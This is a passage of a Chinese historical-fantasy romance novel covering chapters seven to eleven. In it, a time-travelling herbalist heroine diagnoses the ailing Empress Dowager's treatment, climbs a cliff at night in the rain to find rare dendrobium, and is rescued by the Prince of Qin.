“奉家父之命,特意前来叨扰,只是为保障宫中用药的品质,还望掌柜的见谅”衣上云一边坐下来一边亦是客气的回道。她们就坐在紫袍男子旁边的另一桌上。 “应该的,药材已都如期准备妥当,衣小姐看看没问题的话在下就安排送入宫中了。”掌柜的说着,便有众多下人将药单上的药草都一一端上来放在客厅中央的长桌上面按照药单所列顺序排列好,等待衣上云过目。 验药,衣上云可是专业的。21世纪里集团所有中草药供应商品质她哪能不一清二楚呢。 她起身走向长桌,轻挽起袖子,经过一番望、闻、问、尝、查,衣上云认真的通过这些动作非常熟练迅速地就将药单上所有品目的药草全部都验收完毕。 别说旁人,就是燕儿也看的目瞪口呆,要知道长这么大,她从来没见过小姐还有这个本事啊。 “西秦第一大药行,果然名不虚传,掌柜的费心了”衣上云满意地说道。 此时紫袍男子朝着她走过来“姑娘好本事啊,在下可否请教姑娘药术从何学来” 掌柜的这时候才急急介绍道:“衣大小姐,这是我们百草堂正主,人称易三少” “三少有礼了,承蒙三少谬赞,小女子不过雕虫小技难登大雅之堂,见笑了”衣上云微笑谦虚地回答道。 “人人听闻衣家大小姐软弱无才且丑陋,然百闻不如一见,小姐竟是如此让人刮目相看,可见这世人竟是以讹传讹,人云亦云,诋毁小姐了”易三少又道,竟是满腹夸词。 “清者自清,浊者自浊,三少又何必太在意外人的言行。今日小女已出门太久,怕家中长辈牵挂,先行回府了。改日再在登门请教”衣上云是已经出来太久了,确实有些累了。 “当然,我派人送小姐回府”说着正要让掌柜安排。 “三少,多谢,不必麻烦了,我们回去很方便,我也想在街上看看”衣上云自是不会轻易接受一个陌生人的安排,即便是好心的人。 易三少见状也不再为难她,就这样衣上云主仆走出了百草堂。 天色已暗下来,此时,街上的花灯都已经燃起,主仆俩似乎心情不错。衣上云兴奋地抬头看着一盏盏美轮美奂的古代花灯,真好看,她心里叹道,她自是从来都不曾见过这些玩意的...... 忽然,从眼前花灯的间隙里闪过一个人影,是他...... 衣上云急急寻着身影闪过的地方追了过去...... 第七章:秦王府,白帕再现 从眼前花灯的间隙里闪过一个人影,因为花灯遮挡,衣上云只看到了他的侧脸,只是她不敢相信这个人的脸那么像一个人。这个人像极了失踪13年的魏明轩。竟然像魏明轩...... 衣上云急急寻着身影闪过的地方追了过去,却是一片空巷。难道是自己太想念,所以幻觉了吗? 衣上云一脸狐疑得边玩弄着一缕青丝,一边回到燕儿的身边。 “小姐,你看到谁了”燕儿急急问道 “可能看错了吧,天黑了,我们赶快回去吧”说完主仆二人不再闲逛,急急回家了。 天刚黑,秦王府里已是一片灯火通明。 此时秦王轩辕翰刚回到府里,今日他和几位朝中大人在集市上茶聚,但并没有骑马或是乘车,而是步行。 “殿下,今日府上来了一对婆孙,说是儿子在北烈国战役中出征数年杳无音讯,儿媳去寻至今未归,她怕孙女受连累,便带着孙女逃到王府来告状”副将程良一见主子进门就紧跟在轩辕翰后面一边走一边禀着。 “为何不去府衙投案” “怕官官相护,口口声声直说只相信秦王” “带到大厅来问话” “是”副将领命退下。 没过多久,程良便带着婆孙二人到了王府正殿,轩辕翰正低头端着一杯茶品了一口,整个人散发着不怒自威的冰冷,婆孙俩一见到秦王便立即下跪叩首。 “请秦王殿下为老身做主啊,老身冤枉,老身的儿子儿媳冤枉,老身的孙女冤枉啊”婆婆一边说一边哽咽着将事情的来龙去脉又陈述了一次。 “老人家,你暂且先住王府,待本王查清楚事实,自会还你一个公道”轩辕翰一脸严肃越发孤冷,这个北烈真是嚣张,这两年挑起战事连连,这些年他已经准备了很久了。 程良正要带二人下去安顿,轩辕翰突然目光一斜视捕捉到了小女孩的手腕上,系着一条白色丝帕,这丝帕的质地是那么眼熟。他正在记忆力搜索。 “慢着,等一下”轩辕翰站起身来朝着婆孙二人身边走过去,近身终于看清了白帕上竟也绣着和他那条一样清秀的“云”字样。 “这条白帕是你的吗“轩辕翰用稍微低点的声音问道,可是表情依然是冰冷的。明显温柔不是他的专长,尽管他已经放低了声音,小女孩依然连忙夺身藏到了老婆婆身后。 见状,婆婆回了轩辕翰的话“殿下,这个丝帕是今天老身中毒晕倒在来王府的街边,一位蒙面纱,身着黄色长裙,善良的年轻姑娘的。老身的小孙女不小心手腕擦破渗血,也幸得姑娘救治并给了我们婆孙银两盘缠,真的是难得的好人呢”婆婆边说又想起了自己这些不幸的遭遇,开始擦拭眼角的泪水。 蒙面纱,解毒,黄色长裙,难道今天在街上看到的女子亦是那夜山谷里的她?轩辕翰心里不由得浮出一丝欣喜继续问道 “老人家可知那姑娘叫什么吗?” “好像......好像是......是叫做衣上云,对,名唤衣上云,说是城西药师府上的大小姐”老婆婆回道。 “衣上云”轩辕翰道了一句,若有所思。 “老人家,你暂且住王府,本王自会处理你的事情”轩辕翰说着就看向程良示意将其带下去安顿。 人都散去,轩辕翰这才走出正殿,穿过走廊向后面的寝宫走去。城西药师府大小姐,衣上云。原来这就是你的身份。本王知道了。想着想着,不自觉地嘴角上扬竟闪现出一道好看的弧度。 安顿好婆孙二人,程良端了碗粥来到了轩辕翰的寝宫。 秦王府很大,然而正主也就只有轩辕翰一个人,刚封王一年不到的时候,太妃就过世了。所以秦王至今也没有人为他婚事上心,宫里那位皇上璟帝轩辕烨是秦王的哥哥,倒是也跟秦王提过几次,但是秦王本就很忙,且有严重的洁癖,更不容女人亲近,后来两人都没有人坚持也就一拖再拖了。 秦王如今已是弱冠之年,太后也一直在留意合适的人选给他,预备今年一定要给秦王立妃,大家也都盼着秦王府能有个女主人,因为整个秦王府从上到下基本都是男人。秦王不近女色,就连府上的佣人也一概不用女人,只有一位之前服侍太妃的张嬷嬷一直留在府里伺候。 此刻轩辕翰正坐在桌前,面前摆放着一大堆的密函和信件。他的确很忙,有很多事需要他做,需要他准备,他是西秦的秦王,征战沙场、保家卫国、爱民如子。正因此皇帝时刻都不忘提防着秦王府,也因秦王的权高位重敢怒而不敢言,总要留三分薄面。 程良进去轻轻放下粥碗在桌上道“殿下伤势未愈,早些休息” “婆孙的事尽快去调查清楚,还有...”轩辕翰冷声道,又顿了一下,继续说 “还有,查一下城西衣药师府上的衣大小姐” “属下遵命”程良领命缓缓退出寝殿,轻轻掩上殿门才离去。 片刻后,轩辕翰伸出右手捏了捏眉头,露出了一丝疲惫,尽管如此那张精致如天工雕刻过的俊脸却依然,此时他一袭锦白长袍,三千墨发用玉簪高高挽起。 只见他缓缓从衣袖中掏出了一条白色丝帕发起呆来,显然丝帕已经清洗干净如新。他想起了那天夜晚在山谷中受伤所遇到的蒙面夜行衣少女,也想起了今日白天在街头看到的蒙面黄色长裙少女...... 此时衣上云刚回到衣府,远远只见大厅里聚集着所有人 ...... 第八章:太后病重 “娘,怎么办啊,怎么办啊?”远远地就听到衣上雪惊慌失措的呐喊声。 那个骄傲的少爷衣上俊在厅里急急地踱步,走过来走过去,来来回回,心神不宁。 兰姨娘正坐在桌边,右手抵在桌上颔首捏着眉头,神气抑郁。 就连衣上云的母亲也坐在兰姨娘对面的位置上,母亲可很少跟这些人聚在一起的。这么晚了大家都聚在一起,发生了什么事呢?衣上云心里思索着,也急急朝着大厅走了过去 “母亲,兰姨娘”衣上云进入客厅欠身行礼,看无人回应她继续道。 “姨娘,您交代的事情云儿已经办妥,请姨娘安心”谁知兰姨娘仍旧不动声色,竟当做没听见一样。 衣上云眼睛转向母亲年氏问道“母亲,发生何时?” 听到衣上云这话,衣上雪急急恶狠狠的朝衣上云迈步过来,用几近歇斯底里的声音吼道“丧门星,你一醒就祸害衣家,衣家怎么这么倒霉。父亲入狱了,这下你满意了吧,真是倒了八辈子霉了,怎么衣府出了你这样的丧门星,你怎么不死呢”衣上雪恶狠狠地吼道,说完就哭了起来。 “母亲,到底怎么回事?父亲为何入狱”衣上云焦急而又惊讶的问。 “下午宫里来人通报,说你父亲给宫里采办的药草品质有误,致使太后恶疾所需的药方失效,现已被大理寺关押候审,怕是......怕是.....”母亲说着也抽噎了起来。 “怎么会呢,父亲一向清廉且行事心思缜密,采办的药品都是要先验过才送往宫里再次接受验收的,而且百草堂乃西秦国第一药行,怎会出现此等差错呢”衣上云严肃地说道 “母亲,姨娘。大家都不必太过担忧,明天女儿去探探情况” “就你,还是不要出去丢人现眼的好。愚笨丑陋且一无是处还被退婚,一般女子就退婚一项早都死过多少回了,你倒像没事人一样遮个面纱整天招摇过市,还好意思赖活着,真不知道你哪儿来的这个勇气”衣上俊一点都不客气地说道。 “那弟弟可有主意能救父亲呢”衣上云却毫不示弱地用坚毅的目光看向衣上俊说。 “我......我.......”衣上俊那番饱含讥讽的话被堵了回来,噎住了。从上午收到消息至今,她们娘三个已经动用了所有人脉忙了一天,因是太后的安危,牵扯甚广,他们根本就是毫无机会。 “如果弟弟无能,那就只能让我这个姐姐试试了”衣上云凤眼看过去微笑着说道。 所有人都沉默着,只有母亲起身拉着衣上云的手露出满脸的担忧。 第二天天刚亮,衣上云借着兰姨娘的人脉入宫前往御药房了。 此时,轩辕翰正在宫里陪璟帝对弈。 “皇弟果然未让朕失望,北烈边关这场战役又胜了,西秦有你这样骁勇的秦王实属百姓之福啊,战神秦王,果然实至名归”御花园里璟帝一边落着棋子一边说道,语气里充满虚伪的赞赏满是多疑的心机。 “皇兄谬赞,为人臣子理应杀敌保国”秦王连忙作揖回应。 “皇弟又建奇功,这次想让朕如何赏赐你呢,一般的物件怕皇弟你自是不会放在眼里”璟帝狐疑地试探。 “为国尽忠,为皇兄分忧乃臣弟职责所在,臣弟岂敢邀功。皇兄仁慈,这些年对臣弟厚待不薄,臣弟不敢请赏”轩辕翰亦是敷衍客套地回答。 “赏罚分明,才会让文武百官人尽其则,各尽其能,皇弟又岂能推辞。不过,皇弟如今也就一人之下,寻常赏赐必定也不上心。如今你也早已过了弱冠之年,不如朕与太后给你谋一个称心如意的王妃如何?” “皇兄做主便可”轩辕翰自是不敢拒绝,身在帝王家,儿女情长本来就不是他们自己所能支配的。至少现在不能,还不是时候。婚姻对于他,本就不是自己所要的,更何况他也不应该为儿女情长所牵绊,他有更重要的事情。 ”好,那就说定了,过些时日便是中秋佳节时逢女儿乞巧,相信到时候一定不会让皇弟失望”璟帝暗自窃喜,他自是不会许给轩辕翰美好姻缘的。 “皇兄做主便可”轩辕翰说着依旧一脸专注地陪着对弈。 御药房在太医院最后面的院子里。此刻御药房里,衣上云乔装成药女扮相,对着药单已经查验了所有药草,并没有发现任何异样。药方也确实是对症的啊。 “知道太后得的什么病症吗”衣上云悄悄地问身旁的小药女,如果药都没有问题,那问题就很可能出在药方上。 “这种机密的事情我们这些小药女怎么能打听呢,嘘......”小药女急急示意衣上云不该问的不能问,她正要继续说话,进来了一位女医,一进门便道: “太后的病情又加重了,都机灵谨慎点做事......“ 话还没说完,紧跟着追过来一位年龄相仿的亦是女医打扮的女子,像是情况很紧急的样子。“快跟我走,太后昏迷了,皇上和秦王听闻都已经过去了” “你赶快把太后的药端着赶快一起走,张大人在催呢”女子急急地说着,示意衣上云端药一起随行。 三人一番好赶,衣上云被带到永安宫太后的宫殿。 太后昏迷在榻上,院判张大人已经在诊脉,豆大的汗珠一粒粒渗了出来。皇上和秦王殿下就坐在距离榻边不远的桌边等着。 衣上云一行三人行礼,皇上伸手示意她们三人安静,三人便悄悄上前到张院判身后待命。 太后年迈体虚津气不足,此方无误啊,为何会久久不能痊愈,今日还突发昏迷呢?院判大人一脸狐疑百思不得其解。 “张院判,太后此次病来如山倒。你们太医院每日问诊请脉,怎会发生这等失职之事。前几天不是说药品采办有问题吗,如今又作何解释?”皇上龙颜大怒,厉声训斥道。 吓得太后旁边的侍女都扑通一声全都跪了下来。 “皇上,太后近来总说视力不如从前,食欲几乎全无,腰酸膝软且无力”永安宫的宫女惊慌失措地禀着。 “启禀皇上,秦王殿下。太后年迈体虚,处方也确实无误,至于为何会突然昏迷,微臣实在不解,微臣以性命担保定当全力以赴”张院判说这话的时候其实是心虚的,因为他根本还没有找到问题所出。 此时,张院判示意衣上云喂药,衣上云上前一点点喂药进去,顺便认真仔细地查看了一翻,气血不足,脉象虚弱,口舌干燥,再加上刚才宫女所说的情况......确实是津气不足之症,药方和药草都没有问题,那问题到底是什么呢? 衣上云眼睛一怔,突然好像明白了什么。 “皇上,奴婢知道了”衣上云立刻朝皇帝和秦王走过去俯首双膝跪下来道 “皇上,张院判的诊断没有错,只是药方里有味药草需要换一下”衣上云低着头继续禀告。 “皇上,药方里有味石斛,但因石斛种类有几十种繁多,且每种均有不同之药效,但品质却以铁皮石斛最为上乘,且药用价值和药效也自是最高。但因其生长条件极其苛刻,一般生于悬崖峭壁岩石缝隙间极其难得,所以宫内采办的均是中高级的石斛种类。太后此病又急且重,石斛药效明显不足。如果能找到铁皮石斛替代,太后定能痊愈”衣上云沉着而又坚定地说着,一点都没有紧张害怕。旁边的侍女们却都吓出一身汗,一个个露着惊讶的表情,心想怎么能如此大胆呢? 张院判听到这席话,恍然大悟。“对,对,说的没错,问题就在这里,老夫怎么没想到这个呢,确实如此。皇上,这个婢女说的一点没错”张院判点头投去赞许的目光,而此时衣上云还跪在地上不敢抬头。 “张院判,今日因为你的失职疏忽差点害死太后,你可知罪”皇上更怒了,坐在旁边的秦王殿下听声也不自觉抬眼瞥了一眼皇上说道。 “皇兄,母后病情为重,还是先救治母后比较重要”在场所有人都看出秦王是在帮他们说情开脱罪责。 “皇上,罪臣之女愿寻来极品铁皮石斛医治太后,替父亲将功赎罪,请皇上开恩。现在正值初秋季节,铁皮石斛虽全年均可采收,但初秋采摘的话,季节最为适宜,自然药效也是最佳。”衣上云突然发声,意志是多么的坚决。 “罪臣之女,你是?”皇帝皱起眉头问 “奴婢的父亲是御药房的药师,家父失职现关押大理寺,请皇上开恩,只要能救父亲,臣女愿意做任何事情”衣上云急急解释。 “既然你说极品铁皮石斛生长于悬崖峭壁之间,你一个弱女子又如何办到?”皇上满脸疑惑。秦王亦是猛地一怔,抬头看了衣上云一眼。 “皇上放心,为了父亲,就算是赴汤蹈火三天之内臣女一定办到”衣上云始终都是低头跪着回话。 “好,朕就给你三天,办不到就同你父亲一起,严惩不贷” “臣女谢皇上开恩”衣上云叩身下去谢恩。 “平身吧”皇帝道。 衣上云这才起身抬起头来,刚一抬头却迎上了秦王轩辕翰冰冷的眼神,四目相对,衣上云匆匆收回了视线。轩辕翰随后也将寒光四射的眸光收了回来,只是看着蒙面纱的衣上云他刚才好像想起了什么...... 第九章:城西衣府的怪事 轩辕翰心想,眼前这个蒙面女子和她怎么那么像,亦是如此坚定,聪慧,勇敢。亦是蒙纱遮面,亦是药师之女。 “都下去小心侍候着” “是”众人禀退。 终于,皇上下令都散去。除了侍女,其他人也都散了。 小药女在御药房着实为衣上云捏了一把汗,等衣上云回来便急急将衣物扔给她换好拉起她穿过皇宫的走廊要送出宫去。 “我说小祖宗,你可吓死我了,真怕闹出什么事情来,这可是皇宫,你也真够大胆的,竟然敢在圣上面前信口开河,若是寻不回这极品铁皮石斛,看你怎么办?” 小药女边走边嘀咕着。竟没有意识到对面秦王轩辕翰和副将程良也正过来准备出宫回王府去。 衣上云已经换回自己一身粉紫色长裙,依旧白色遮面纱,整个人透着清瘦淡雅之气。小药女低头只顾自己嘀咕竟差点撞上秦王轩辕翰。 幸亏及时发现马靠边低头欠身行礼,身后的衣上云见状也跟着低头欠身行礼。 秦王自是到哪里都永远一如既往的一脸冰冷,不怒自威,尊贵天成。两人就这样擦肩而过。一个往东,一个往西。皇族和平民进出宫所走的路自是不同的。 然而,就在走过一段的时候,轩辕翰突然像想起了什么似得回头朝刚才两个女婢行礼的地方看了一眼,只是一眼,这个女子好像在哪里遇过。然而衣上云早已匆匆离开不在了。 有时候,可能一开始就已经悄悄地注定了结局,他们很多的擦肩而过...... 已经深夜了,秦王府里,灯火通明。 轩辕翰正坐在寝殿的书桌旁手中执着一卷古书,忽然慢慢抬起那张冷俊的脸来若有所思又似带着一丝痴迷,眼睛渐渐眯了起来。 这时程良走了进来作揖行礼道“殿下,属下已查实城西确实有个衣府,家主正是这几天因太后恶疾事件被大理寺关起来的御药房药师衣上坤”轩辕翰视线迅速移向程良,示意他继续说下去。 “不过衣上坤的药材来源基本上都是西秦第一药草行百草堂所供,应该不会有问题,而且衣上坤一向行事谨慎”看秦王没有说话,程良迟疑了一会还是又继续禀告。 “衣上坤府上有两位夫人,两个女儿,一个儿子。嫡夫人所生嫡长女正是名唤衣上云”轩辕翰皱眉投来异样的目光。 “只是这衣上云,她......她.......”程良有点迟疑和顾及,吐了口浊气继续回禀,他是轩辕翰的得力副将及近身侍卫,办事自是要事无巨细,面面俱到。 “她被西秦学院陆少主退了婚,原因是她长相丑陋且不学无术,而且衣上云一年前生病昏迷,差不多前几日才刚醒过来的,退婚就发生在她昏迷的期间,后来有一天夜里却突然就醒了。有人还见到她醒的那夜狂风暴雨大作,甚至还有人看到衣府她的阁楼上空有异象出现”。 程良几乎一口气禀完,这等离奇的事,连他自己都不敢相信,更何况要说给他的主子听。 “什么异象”轩辕翰冷冷地问。 “附近有人看到当晚突然从天而降一道灼眼的光芒。即便是伸手不见五指漆黑的夜却依然能看到这光芒宛若一只七彩凤盘旋在夜空中昂首俯视寻觅,后来伸展开羽翼俯身坠入了衣府后院大小姐的阁楼,异象便都瞬间消失不见,就那时候衣家大小姐苏醒了”。 程良说完冒了一身冷汗,主子可是一直都忌讳这些鬼神之说的,今天是怎么了? 此时他方才小心翼翼抬起头看了一眼轩辕翰,轩辕翰却一直都一副冷漠的沉默着盯着手中的古籍,任谁都猜不透他此时在想什么。 片刻后,轩辕翰方才轻轻放下手中的古籍,看向程良说道。 “衣上云三日内要找到极品铁皮石斛,派暗卫在衣府时时保护,不要惊扰” “是”程良作揖领命后退下。 轩辕翰觉得这个女人越来越有意思了,从来都没有哪个女人会让他如此好奇上心。 半夜三更一身夜行衣独自上山,高超的医术为不曾相识的他疗伤的是她;闹市街头一袭长裙装,为素不相识的老婆婆解毒救助的亦是她;天子面前临危不惧,字字铿锵信誓旦旦据理力争的还是她。 昏迷一年这么长的世间还能醒过来,这是要多顽强的求生欲望才能做到?丑陋吗?软弱吗?不学无术吗?怕是世间再也寻不到这样的女子了吧?这到底是个怎样的女子? 轩辕翰站在书房的窗前,一手负于身后,若有所思一脸好奇和兴趣。却冰冷地和这夜色融为一体,不知不觉竟然轻叹了一声,他在叹息什么呢?只有他自己才知道吧。 衣上云亦是也回到了衣府,跟母亲和兰姨娘将今日白天宫里发生的事从头禀了一遍。已是累的实在支撑不了了,出了大厅便急急穿过走廊回到后院的明月阁里。 一见到塌,整个身体就重重地扔了下去,四脚朝天地趴着。她实在支撑不起这个身体了,好像身形都要分离开来了一样。 她也实在不想动了,可是没多久还是想起了那三天之约,虽然这个家一点都让她感觉不到真实的温暖,这个父亲看起来也对她不闻不问根本不上心,但是毕竟他是她在这个时代唯一的依靠,唯一可以寄身的屋檐,他更是这个皮囊原主的父亲啊。她又怎么能不管。 终于她还是打起精神坐了起来。 极品铁皮石斛——千古一仙草,石斛有奇效。铁皮石斛、天山雪莲、三两的人参、百二十年的何首乌、花甲茯苓、苁蓉、深山灵芝、海底珍珠、冬虫夏草,列为九大仙草之最。要是在21世纪,她或许能通过自己的人脉轻而易举的寻到,而如今在这西秦国,她还谁都不认识呢,人脉,此时她真的很抓狂。 突然想到了芯片系统,不知道系统是否可以给她一些提示信息。一想到此,她立马盘腿坐于榻上,收心,屏气凝神集中全部精力于七彩*金丝彩玉镯子上。没过一会,衣上云的额头两鬓渗出了粒粒细而密集的香汗,手镯却纹丝不动,显然这是很耗费心神的事情。 ”哼......“衣上云突然睁开眼睛狠狠的哼道,显然她还是没能开启这个庞大的系统。因为芯片系统功能太强大,各分支系统灌入和输出需要的时间都不可估计,升级需要的时间自是也短不了。她只能作罢。 算了,明天还是在京城碰碰运气吧。估计她现在连西秦国整个国家的大小范围边际都还搞不清楚呢吧。计划好了明天的行程,衣上云准备沐浴更衣休息了。 就在此时,衣府屋顶,飞奔过来约摸十几个身着夜行衣轻功极好的蒙面男子,他们一身矫健,身轻如燕。正聚集在一起,接着出现了一个没有蒙面的,这个人是...... 第十章:活着,一切才有意义 没有蒙面貌似头领的这个男子正是秦王轩辕翰的副将程良。他正是奉主子秦王命令前来妥善安排埋伏保护衣上云的。. “头儿,殿下为什么让我们保护一个区区药师家丑女呢?”其中一名暗卫问道。 “这是你该操心的吗,我还想知道为什么呢”他是真的好奇这个天生冷面不近女色的主子到底为什么会看上这样一个卑微的女子。 关键这个女子在所有人的口中,是如此的不堪。丑陋,废柴,妖孽,竟还被退婚..... 这些年那么多名门望族大家闺秀想要攀附可都被吃了闭门羹。 程良亲自迅速地将暗卫在衣府一一安排好,下令“开启全面保护模式”后方才离开回去秦王府复命。 天一亮,衣上云就在燕儿的陪同下赶往位于京城中心的百草堂。如今没有芯片系统的帮忙,她也只能去百草堂试试投石问路了。 “衣大小姐,幸会幸会,几日不见,今天什么风把您给吹来了,莫不是上次的药草有问题?” 衣上云一进百草堂的大门,薛掌柜的就笑脸迎了上来。一边说一边直接将衣上云带往三楼茶亭。其实自从上次她离开后,易君浩就特别交代了薛掌柜,以后对衣上云要特别照顾。 “薛掌柜的,您多虑了。百草堂的药草自是西秦无人能及的。怎会出什么乱子。实不相瞒,此次小女前来乃是有事请薛掌柜赐教的,还望薛大掌柜相助” 衣上云诚恳的说道,言语里满满希冀着能有所收获,不枉此行。 “大小姐此话生分了不是,令尊对百草堂照顾有加,若是在下能力所及,必是不能推辞,知无不言言无不尽的,只是不知道大小姐要问的是?” 薛掌柜一边说,一边亲自斟上了一杯热茶递给衣上云。衣上云优雅地接过看了看身边的燕儿,燕儿此时一脸迷茫不知所措,自是没有主意的。 衣上云只得回过神举杯致谢“多谢薛掌柜”。 只见她轻轻卸下面纱,举起紫砂杯先闻了闻,接着将杯中的茶汤分三小口喝下说道“当季刚采摘制作的铁观音,香气和味道平和极好,真是好茶汤。掌柜的好雅致” 衣上云微笑着说。 “大小姐年纪轻轻,竟然对品茗能有如此之境界,老夫实在是佩服至极” 薛掌柜赞道,好像甚是开心遇到了茶友,且是一个17岁的小女子,不禁满意地哈哈大笑起来,这时方才问道“不知大小姐找老夫所问何事?” “薛掌柜,那就恕小女直言了,百草堂可有极品铁皮石斛?”衣上云凝神立刻严肃了起来问道。 “大小姐,极品铁皮石斛甚是珍贵,可并不好寻呢,市面上中高档的都不多见。怕是百草堂这次真让你失望了”薛掌柜严肃地回话。 “那薛掌柜可听闻过何处能寻得此药草”衣上云接着问,似想要抓住最后一丝希望,得到一点指示。 薛掌柜捋了捋那撮短小而且已有些花白了的胡须摇了摇头,思量了半天应声道“大小姐可听过百草谷?” “听是听过,莫非百草谷有药?不过百草谷的天然毒障,生人定是有去无回的,而且谷主大人脾气怪异,怕是没那么容易求到药”衣上云露出一脸无奈和灰心的表情。 “大小姐,有志者事竟成,放眼西秦国全境,估计也只有百草谷尚存有一丝希望了” 薛掌柜一边说一边悄悄窥视了一眼衣上云的脸,易三少自是交代了他许多事情,就包含了现在这件。衣上云皱着眉头一筹莫展地沉默着。 “好吧,即是如此,那小女先行告辞了,多谢薛掌柜”衣上云起身和燕儿一道离开。 就在她们刚刚离开后,从隔壁厅里走出一紫袍墨发桃花眼的男子,没错,此人正是百草堂正主,百草谷谷主易三少。 刚才他就在隔壁听着这里发生的一切。等衣上云离开了才出现。 这丫头又遇到什么事了,极品铁皮石斛,易三少心里暗自琢磨着。 “小姐,现在怎么办呢,连西秦最大的百草堂都没有极品铁皮石斛,老爷和衣家还有救吗?” 刚一出了门,燕儿便问道。此时这主仆二人便像卸了气的气球,一个比一个焉。 “燕儿,相信我好吗?我一定可以找到,一定可以救大家”衣上云转身安慰燕儿道。 其实说是安慰燕儿,不如说是她给自己打气,安慰自己。燕儿使劲地瞪着眼睛点头回应她。 她一个人孤零零漂泊在21世纪,如今又孤零零来到这灵空西秦,她不知道这个爹娘为什么总是对她不冷不热,若即若离,根本就不是平常父母子女之间浓情。 但是,她还是要坚强地活下去啊。就像他在21世纪里尽管魏明轩消失了已经13年,他仍然相信也一直会相信他还活着。同理她也相信,她自己在西秦国,仍然能够活着,而且要活的很好。 如果在西秦国死了,可能会不会21世纪里的她也会灰飞烟灭呢?那他那13年,不就白等了吗?不,她一定要活着,活在西秦国,也许就是活在21世纪,只有活着,一切等待才有意义。 三天之约的第一天就这样过去了,她提醒自己说“看来希望只有寄予百草谷了。” 回到衣府里,竟然下起了大雨。可她已经没有多少时间了,等到天黑下来,衣上云依旧换上了一袭黑色夜行衣,白色蒙面巾就急急往百草谷山脚下赶。 时间一分一秒地过去,她三天的时间并没有多少可以浪费的。更何况现在她所有的希望都压在百草谷了,她都不敢想象如果那里仍然没有铁皮石斛会怎么样?一想到这,她便不由自主地更加快了脚步。 初秋的大雨,夜里打落在身上还是很冰冷的,她都完全顾不上自己的身体。 很快她便到了山脚,山崖脚下依旧是围绕着整个山谷的一条河,像是山谷自然的保护屏障,让人不敢靠近。因是大雨天,河水从山崖瀑布上坠入河中,较往常更加湍急了。 依旧是上次攀岩的这面峭壁,只是与上次不同的是这次她得到达这面向阳的峭壁对面半阴湿的峭壁岩石上去找,而且攀岩高度在1600米左右,这正是铁皮石斛喜阴,而不是喜阳的奇特生长环境。 “极品铁皮石斛,肯定会有的”她自言自语道。 雨水打在脸上,好冷,她不由得打了个寒颤。但是她迅速地深吸了一口气,仍旧很快锁定了一个可以最快到达山谷背面区域的地方抛出了攀岩的绳索固定好一步一步小心翼翼地攀岩了起来。 因为下着大雨,视线很差,攀岩环境极其恶劣,大雨冲刷着每一寸岩石,每一步都特别光滑,随时都会踩空跌落下来,而她还是抿嘴咬紧嘴唇一步一步攀着。大雨急急落在脸上她眼睛都睁不开来。 此时山脚下,正有两双眼睛一直目不转睛地盯着她。 秦王轩辕翰和副将程良,暗卫自从埋伏在衣府,一有风吹草动便马上随时随地报告给轩辕翰。当他收到消息,大雨夜衣上云着夜行衣前往百草谷。他便再也按耐不住那冷漠冰冷的秉性。带着程良一路追赶至此,就看到了眼前这一慕。 “这么大的雨,这个女人不要命了吗”程良生气地说。 他被衣上云的决心和毅力震到,大雨夜攀爬1600米高的岩石峭壁,还要在这种恶劣的环境下寻找神草。就算白天一个武功极高的男子做起来也很困难,更何况衣上云完全没有武功基础。 她的命难道就这么不值得珍惜吗?这到底是怎么样的一个女子。轩辕翰看着她高高爬上的身影有些入神地想着,她的身影是如此弱小。 “啊.....”.忽闻一声尖叫,他连忙缓过神看过去,衣上云的脚果然踩空,此时正拼命挥着两只胳膊四脚朝天落下来。 轩辕翰见状脚一点地,立马飞身而出,像是本能一般直奔衣上云落下的方向而去,伸开双臂,稳稳地接住了她。 两人四目相对,怀中的人儿神情恍惚,一脸娇弱。都身着黑色夜行衣戴着蒙面巾在空中旋转划出一道完美的圆圈后顺势轻轻落地。 刚落地,衣上云便晕在他怀中,脸颊通红,轩辕翰伸出一双安全感十足的大手朝她额头摸去。 “程良,备马回府”轩辕翰疾声令道。 两匹马,一个女人,两个男人。一匹马上一个男人紧紧拥着怀中的女子,用披风将她紧紧裹在怀中护着策马奔弛,身影渐渐越来越小,终于消失在这雨夜之中...... 此时,山谷脚下另一头,正有另一双眼睛将这一切收于眼底...... 第十一章:雨夜,沸腾的秦王府 此时,山谷的另一头,亦是有另一双眼睛将这眼前发生的一切收于眼底...... 此人正是神农百草谷谷主易君浩,漆黑的雨夜他依旧三千墨发以一银色发冠半束着,鬓边垂着两缕洋洋洒洒的青丝,精致的脸廓上一对妖艳的桃花眼甚显迷人,身着一袭宽大斗篷连帽黑袍负手而立。 即使是在这样的雨夜,也尽显一脸的随性和恣意,他正皱着眉头望着这三人离去的方向。 自从白天在百草堂听到了衣上云与薛掌柜的谈话,他便知道以衣上云的脾性肯定会再来百草谷,他早就已经在这等着了。 只是这雨越下越大,他本是那会儿要打算回去了,却没想到她真的来了,在这样恶劣的天气登山。 “丫头到底出什么事了”易君浩眉头紧锁轻声说道。 “三少,衣姑娘已经走了,我们也回去吧” 身旁一袭深紫色披风的女仆为他撑着一把竹条骨架油纸伞,担心地说道,易君浩显然没听到她的声音,继续着他的思绪。 方才就晚了一步,他差点就冲了出去。没想到竟然会出现另外两个人先他而出,这两个人又是谁呢?看这气质和武功甚是不凡。 “总归,还好丫头没事。”他眯着那对桃花眼终于自言自语道,女仆见他一动不动又提高了些声音开口道。 “三少,雨越下越大了,衣姑娘已经走了,我们回去吧” 易君浩这才缓过神来看着她对着微笑了一下,主仆二人便转身匆匆离开了。 秦王府里。 “程良,传太医”轩辕翰一到门口就急急命令,只顾抱着衣上云直奔他的寝殿而去。程良大步跑向太医所。 听闻殿下亲自带回个女子,秦王府上下立刻一片沸腾起来,一传十十传百。 “听说殿下亲自抱了个姑娘从王府正门进来” “去去去,你知道什么,那姑娘可是与殿下共骑一马回来的” “咱们殿下不是从来都不近女色吗?” “殿下不是有很严重的洁癖吗” “咱们向来孤冷的主子转性了?” “秦王府要有女主子了?” “如果秦王府有女主子了,我们是不是也很快就要脱单了呢?” ...... 仆人们都聚集在一起七嘴八舌着,这会儿说什么的都有,人人都以为秦王能看入眼的定是个美若天仙倾国倾城的美人儿。 而此时衣上云被轩辕翰又一次抱到了他的床榻上,衣上云眼睛紧闭昏迷着,轩辕翰正坐在榻边露出一脸焦虑地守着。 “殿下,姑娘只是被雨水打湿又吹了风,得了风寒,身上的擦伤也都是轻微的皮肉伤,不必太担忧”。 太医一番详细的把脉查看后禀告了轩辕翰方才退了出去备汤药,而轩辕翰依旧一副冷面没有回应他,只顾着一双眼睛紧紧盯着衣上云的一举一动。 半天后终于出声道“叫张嬷嬷过来给她伤口擦药,换身干净的衣服”。 